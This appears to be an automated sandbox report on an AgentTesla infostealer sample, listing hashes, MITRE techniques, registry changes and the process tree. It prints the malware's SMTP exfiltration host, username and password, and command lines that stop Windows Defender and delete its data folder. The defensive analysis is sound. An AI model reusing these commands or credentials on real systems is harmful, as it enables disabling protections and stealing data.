Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
30-09-2024 08:50
Static task
static1
Behavioral task
behavioral1
Sample
0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe
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Size
477KB
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MD5
0075e2b83a486c72341ceaf957ff492b
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SHA1
e9a04b0920daed3d690abda4d1462447fbc5cb47
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SHA256
949012a9d13acf5498d0efa6c65de0addd48848a43ad6947f4514a177d759e9f
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SHA512
7d838ced0eac81e87f4a527bff01a8a71492f87a9cfc92f2960cda21a496eecb047a191221b9bcefd41e470fbdf383d6655cf5ba1f4b6667c8abf6a242ee38e0
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SSDEEP
12288:scahoA/6p1NO+UAywNyetvN3hL6py7dJrmgJn:09/qtUl8yelN3hL6pav7
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
hikebike.com.br - Port:
587 - Username:
[email protected] - Password:
U}kU^t%yza.N
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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AgentTesla payload 1 IoCs
resource yara_rule behavioral2/memory/4400-2217-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla -
Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/files/0x000800000002347f-2199.dat Nirsoft -
Executes dropped EXE 2 IoCs
pid Process 6112 AdvancedRun.exe 2420 AdvancedRun.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WNRUXJ = "C:\\Users\\Admin\\AppData\\Roaming\\WNRUXJ\\WNRUXJ.exe" 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2936 set thread context of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3756 sc.exe -
Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs
pid Process 6112 AdvancedRun.exe 2420 AdvancedRun.exe -
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AdvancedRun.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AdvancedRun.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 6112 AdvancedRun.exe 6112 AdvancedRun.exe 6112 AdvancedRun.exe 6112 AdvancedRun.exe 2420 AdvancedRun.exe 2420 AdvancedRun.exe 2420 AdvancedRun.exe 2420 AdvancedRun.exe 608 powershell.exe 608 powershell.exe 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 4400 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 4400 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe Token: SeDebugPrivilege 6112 AdvancedRun.exe Token: SeImpersonatePrivilege 6112 AdvancedRun.exe Token: SeDebugPrivilege 2420 AdvancedRun.exe Token: SeImpersonatePrivilege 2420 AdvancedRun.exe Token: SeDebugPrivilege 608 powershell.exe Token: SeDebugPrivilege 4400 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2936 wrote to memory of 6112 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 91 PID 2936 wrote to memory of 6112 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 91 PID 2936 wrote to memory of 6112 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 91 PID 2936 wrote to memory of 2420 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 95 PID 2936 wrote to memory of 2420 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 95 PID 2936 wrote to memory of 2420 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 95 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98 PID 2936 wrote to memory of 4400 2936 0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run2⤵
- Executes dropped EXE
- Access Token Manipulation: Create Process with Token
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6112 -
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend3⤵
- Launches sc.exe
PID:3756
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C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run2⤵
- Executes dropped EXE
- Access Token Manipulation: Create Process with Token
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:608
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C:\Users\Admin\AppData\Local\Temp\0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exeC:\Users\Admin\AppData\Local\Temp\0075e2b83a486c72341ceaf957ff492b_JaffaCakes118.exe2⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4400
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Access Token Manipulation
1Create Process with Token
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Defense Evasion
Access Token Manipulation
1Create Process with Token
1Impair Defenses
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
88KB
MD517fc12902f4769af3a9271eb4e2dacce
SHA19a4a1581cc3971579574f837e110f3bd6d529dab
SHA25629ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b
SHA512036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82